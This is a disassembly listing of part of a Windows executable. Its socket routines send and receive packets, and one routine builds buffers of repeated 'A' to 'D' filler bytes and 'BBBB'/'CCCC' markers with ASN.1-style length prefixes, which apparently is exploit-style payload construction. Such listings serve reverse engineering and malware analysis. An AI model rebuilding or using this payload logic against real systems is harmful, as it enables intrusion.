sub_401357	endp

; ---------------------------------------------------------------------------
		jmp	loc_413164
; ---------------------------------------------------------------------------
		jmp	loc_40479C
; ---------------------------------------------------------------------------


loc_401366:				; DATA XREF: sub_4087B3+23D1o
					; sub_4087B3+3C0Do
		jmp	loc_404194
; ---------------------------------------------------------------------------
		db 12Ah	dup(0CCh)
byte_401495	db 23Ch	dup(0CCh)	; DATA XREF: .data:off_42A91Co

; =============== S U B	R O U T	I N E =======================================



sub_4016D1	proc near		; CODE XREF: sub_401078j
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_4016D1	endp

; ---------------------------------------------------------------------------
		db 2 dup(0CCh)
; ---------------------------------------------------------------------------


loc_4016DD:				; CODE XREF: .text:00401140j
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	dword ptr [ebp+8]
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	ecx, [ebp-8]
		push	dword ptr [ebp+8]
		call	sub_4011A4
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	eax, [eax+4]
		mov	[esi+4], eax
		mov	eax, esi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 0Bh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_401716	proc near		; CODE XREF: sub_4011A4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_415CF8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_401748
		push	ebx
		push	0
		push	edi
		call	sub_415CA0
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_415960
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_401748:				; CODE XREF: sub_401716+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_401716	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40175E	proc near		; CODE XREF: sub_401352j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_415CF8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4017AA
		push	edi
		push	0
		push	esi
		call	sub_415CA0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_415960
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_415960
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_4017AA:				; CODE XREF: sub_40175E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40175E	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4017C8	proc near		; CODE XREF: sub_401159j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4017D8
		push	eax
		call	sub_415D6C
		pop	ecx


loc_4017D8:				; CODE XREF: sub_4017C8+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4017C8	endp

; ---------------------------------------------------------------------------
		db 6 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4017E7	proc near		; CODE XREF: sub_40100Fj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_401814
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_415CF8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_401818


loc_401814:				; CODE XREF: sub_4017E7+Dj
		xor	al, al
		jmp	short loc_40186F
; ---------------------------------------------------------------------------


loc_401818:				; CODE XREF: sub_4017E7+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_415CA0
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40183D
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_401857
; ---------------------------------------------------------------------------


loc_40183D:				; CODE XREF: sub_4017E7+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_401857:				; CODE XREF: sub_4017E7+54j
		push	eax
		call	sub_415960
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_415D6C
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40186F:				; CODE XREF: sub_4017E7+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4017E7	endp

; ---------------------------------------------------------------------------
		db 23h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401896	proc near		; CODE XREF: sub_401230j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4370B8
		call	sub_401352
		lea	ecx, [ebp+var_8]
		call	sub_40100F
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_415CF8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4018D0
		xor	al, al
		jmp	short loc_40190C
; ---------------------------------------------------------------------------


loc_4018D0:				; CODE XREF: sub_401896+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_415CA0
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_415960
		add	esp, 18h
		mov	ecx, esi
		call	sub_401159
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_401159
		mov	al, 1


loc_40190C:				; CODE XREF: sub_401896+38j
		pop	edi
		pop	esi
		leave
		retn
sub_401896	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40192E	proc near		; CODE XREF: sub_401087j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_401352
		mov	ecx, esi
		call	sub_401159
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40192E	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40196F	proc near		; CODE XREF: sub_401311j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4158E0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_401087
		pop	esi
		retn	4
sub_40196F	endp

; ---------------------------------------------------------------------------
		db 7 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_401993	proc near		; CODE XREF: sub_4010FAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_401087
		retn	8
sub_401993	endp

; ---------------------------------------------------------------------------
		db 4 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019A7	proc near		; CODE XREF: sub_401190j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40100F
		test	al, al
		jz	short loc_4019E0
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42A16C
		call	sub_401352
		mov	ecx, esi
		call	sub_401159
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_4019E0:				; CODE XREF: sub_4019A7+Fj
		pop	esi
		leave
		retn
sub_4019A7	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4019F2	proc near		; CODE XREF: sub_4012C6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4010FA
		test	al, al
		jz	short loc_401A0D
		mov	ecx, esi
		call	sub_401190


loc_401A0D:				; CODE XREF: sub_4019F2+12j
		pop	esi
		retn	8
sub_4019F2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A18	proc near		; CODE XREF: sub_40123Fj

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_401078
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_401D6C
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_401D6C
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_401078
		lea	ecx, [ebp+var_20]
		call	sub_401078
		lea	ecx, [ebp+var_50]
		call	sub_401078
		lea	ecx, [ebp+var_18]
		call	sub_401078
		lea	ecx, [ebp+var_40]
		call	sub_401078
		lea	ecx, [ebp+var_38]
		call	sub_401078
		lea	ecx, [ebp+var_28]
		call	sub_401078
		push	4
		push	offset dword_429D5C
		lea	ecx, [ebp+var_30]
		call	sub_401087
		push	3
		push	offset dword_429D64
		lea	ecx, [ebp+var_30]
		call	sub_401087
		lea	ecx, [ebp+var_30]
		call	sub_401230
		lea	ecx, [ebp+var_30]
		call	sub_401190
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_401087
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_401087
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_401087
		lea	ecx, [ebp+var_20]
		call	sub_401230
		push	offset dword_42A194
		lea	ecx, [ebp+var_50]
		call	sub_401311
		lea	ecx, [ebp+var_50]
		call	sub_401230
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_4011A4
		lea	ecx, [ebp+var_58]
		call	sub_401230
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_4012C6
		lea	ecx, [ebp+var_58]
		call	sub_401159
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_401311
		push	4
		push	offset dword_429D68
		lea	ecx, [ebp+var_18]
		call	sub_401087
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_401087
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_401087
		lea	ecx, [ebp+var_18]
		call	sub_401230
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_4010FA
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_4010FA
		lea	ecx, [ebp+var_40]
		call	sub_401190
		lea	ecx, [ebp+var_18]
		call	sub_401159
		lea	ecx, [ebp+var_50]
		call	sub_401159
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_4010FA
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_4010FA
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_4010FA
		lea	ecx, [ebp+var_38]
		call	sub_401190
		lea	ecx, [ebp+var_20]
		call	sub_401159
		lea	ecx, [ebp+var_30]
		call	sub_401159
		lea	ecx, [ebp+var_40]
		call	sub_401159
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_401087
		lea	ecx, [ebp+var_28]
		call	sub_401230
		push	2
		push	offset dword_42A188
		lea	ecx, [ebp+var_28]
		call	sub_401087
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_4010FA
		lea	ecx, [ebp+var_28]
		call	sub_401190
		lea	ecx, [ebp+var_38]
		call	sub_401159
		lea	ecx, [ebp+var_10]
		call	sub_401078
		lea	ecx, [ebp+var_8]
		call	sub_401078
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_4010FA
		lea	ecx, [ebp+var_10]
		call	sub_40100F
		lea	ecx, [ebp+var_28]
		call	sub_401159
		push	offset dword_42A184
		lea	ecx, [ebp+var_8]
		call	sub_401311
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_4010FA
		lea	ecx, [ebp+var_8]
		call	sub_40100F
		lea	ecx, [ebp+var_10]
		call	sub_401159
		push	offset dword_42A180
		lea	ecx, [ebp+var_10]
		call	sub_401311
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_4010FA
		lea	ecx, [ebp+var_10]
		call	sub_40100F
		lea	ecx, [ebp+var_8]
		call	sub_401159
		push	offset dword_42A174
		lea	ecx, [ebp+var_8]
		call	sub_401311
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_4010FA
		lea	ecx, [ebp+var_8]
		call	sub_40100F
		lea	ecx, [ebp+var_10]
		call	sub_401159
		push	offset dword_42A170
		lea	ecx, [ebp+var_48]
		call	sub_401311
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_4010FA
		lea	ecx, [ebp+var_8]
		call	sub_401159
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_401D7A
; ---------------------------------------------------------------------------


loc_401D6C:				; CODE XREF: sub_401A18+1Bj
					; sub_401A18+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_401D7A:				; CODE XREF: sub_401A18+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_401A18	endp

; ---------------------------------------------------------------------------
		db 0D9h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E57	proc near		; CODE XREF: sub_401221j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_495544	; select
		cmp	eax, edi
		jnz	short loc_401EBE
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_421070	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_401EC2


loc_401EBE:				; CODE XREF: sub_401E57+54j
		xor	eax, eax
		jmp	short loc_401ED2
; ---------------------------------------------------------------------------


loc_401EC2:				; CODE XREF: sub_401E57+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_491674	; recv


loc_401ED2:				; CODE XREF: sub_401E57+69j
		pop	edi
		pop	esi
		leave
		retn
sub_401E57	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401EF5	proc near		; CODE XREF: sub_401096j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_491658	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4916AC	; send
		cmp	eax, 4
		jz	short loc_401F1F
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F1F:				; CODE XREF: sub_401EF5+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4916AC	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_401EF5	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F4B	proc near		; CODE XREF: sub_40109Bj

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_415CF8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_401F74
		xor	al, al
		jmp	loc_402020
; ---------------------------------------------------------------------------


loc_401F74:				; CODE XREF: sub_401F4B+20j
		push	ebx
		push	0
		push	esi
		call	sub_415CA0
		push	2Fh
		push	offset dword_429DF8
		push	esi
		call	sub_415960
		push	8
		lea	eax, [esi+31h]
		push	offset dword_429E28
		push	eax
		mov	[esi+2Fh], di
		call	sub_415960
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_415960
		push	6
		add	ebx, edi
		push	offset dword_4370AC
		push	ebx
		call	sub_415960
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_429D70
		push	ebx
		call	sub_401096
		add	esp, 48h
		test	al, al
		jnz	short loc_401FDC


loc_401FD8:				; CODE XREF: sub_401F4B+B5j
		xor	bl, bl
		jmp	short loc_402017
; ---------------------------------------------------------------------------


loc_401FDC:				; CODE XREF: sub_401F4B+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_401221
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_401096
		add	esp, 1Ch
		test	al, al
		jz	short loc_401FD8
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_401221
		add	esp, 10h
		mov	bl, 1


loc_402017:				; CODE XREF: sub_401F4B+8Fj
		push	esi
		call	sub_415D6C
		pop	ecx
		mov	al, bl


loc_402020:				; CODE XREF: sub_401F4B+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401F4B	endp

; ---------------------------------------------------------------------------
		db 36h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40205B	proc near		; CODE XREF: sub_40119Fj

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_429E34
		push	[ebp+arg_0]
		call	ds:dword_495540	; send
		cmp	eax, 48h
		jnz	short loc_402096
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_401221
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402096
		cmp	[ebp+var_20], 82h
		jz	short loc_40209A


loc_402096:				; CODE XREF: sub_40205B+1Bj
					; sub_40205B+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40209A:				; CODE XREF: sub_40205B+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40109B
		add	esp, 0Ch
		leave
		retn
sub_40205B	endp

; ---------------------------------------------------------------------------
		db 14h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020C1	proc near		; CODE XREF: sub_401244j

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_427078
		call	sub_415ECC
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_427068
		fstp	[esp+10h+var_10]
		call	sub_415D9B
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_415ECC
		inc	eax
		leave
		retn
sub_4020C1	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_402120	proc near		; CODE XREF: sub_401334j

var_40		= qword	ptr -40h

		mov	eax, offset loc_4250A3
		call	sub_4163B8
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_401050
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_401244
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_402162
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_401348


loc_402162:				; CODE XREF: sub_402120+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40227F
		mov	ebx, [ebp+10h]


loc_402171:				; CODE XREF: sub_402120+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40217B
		push	3
		jmp	short loc_40218D
; ---------------------------------------------------------------------------


loc_40217B:				; CODE XREF: sub_402120+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_402185
		push	2
		jmp	short loc_40218D
; ---------------------------------------------------------------------------


loc_402185:				; CODE XREF: sub_402120+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40218E
		push	1


loc_40218D:				; CODE XREF: sub_402120+59j
					; sub_402120+63j
		pop	ebx


loc_40218E:				; CODE XREF: sub_402120+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_427088
		fstp	[esp+40h+var_40]
		call	sub_415EF3
		pop	ecx
		pop	ecx
		call	sub_415ECC
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_4021CD
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_4021CD:				; CODE XREF: sub_402120+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40223B
		add	[ebp-18h], eax


loc_40221F:				; CODE XREF: sub_402120+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_429E80[eax]
		push	eax
		push	1
		call	sub_40130C
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40221F


loc_40223B:				; CODE XREF: sub_402120+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_402259
		push	dword ptr [ebp+14h]
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_401307
		mov	[ebp-18h], edi


loc_402259:				; CODE XREF: sub_402120+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_402273
		sub	esi, [ebp-1Ch]


loc_402264:				; CODE XREF: sub_402120+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40130C
		dec	esi
		jnz	short loc_402264


loc_402273:				; CODE XREF: sub_402120+13Fj
		cmp	[ebp+10h], edi
		ja	loc_402171
		push	1
		pop	ebx


loc_40227F:				; CODE XREF: sub_402120+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_401050
		push	ds:dword_427084
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401258
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_401050
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_402120	endp

; ---------------------------------------------------------------------------
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40232A	proc near		; CODE XREF: sub_4012CBj
		mov	eax, offset loc_4250C8
		call	sub_4163B8
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_4370BC
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_401334
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_415CF8
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_402374
		xor	bl, bl
		jmp	short loc_4023B8
; ---------------------------------------------------------------------------


loc_402374:				; CODE XREF: sub_40232A+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_427094
		cmp	ecx, ebx
		jnz	short loc_402382
		mov	ecx, eax


loc_402382:				; CODE XREF: sub_40232A+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40238A
		mov	eax, [ebp+18h]


loc_40238A:				; CODE XREF: sub_40232A+5Bj
		push	ecx
		push	eax
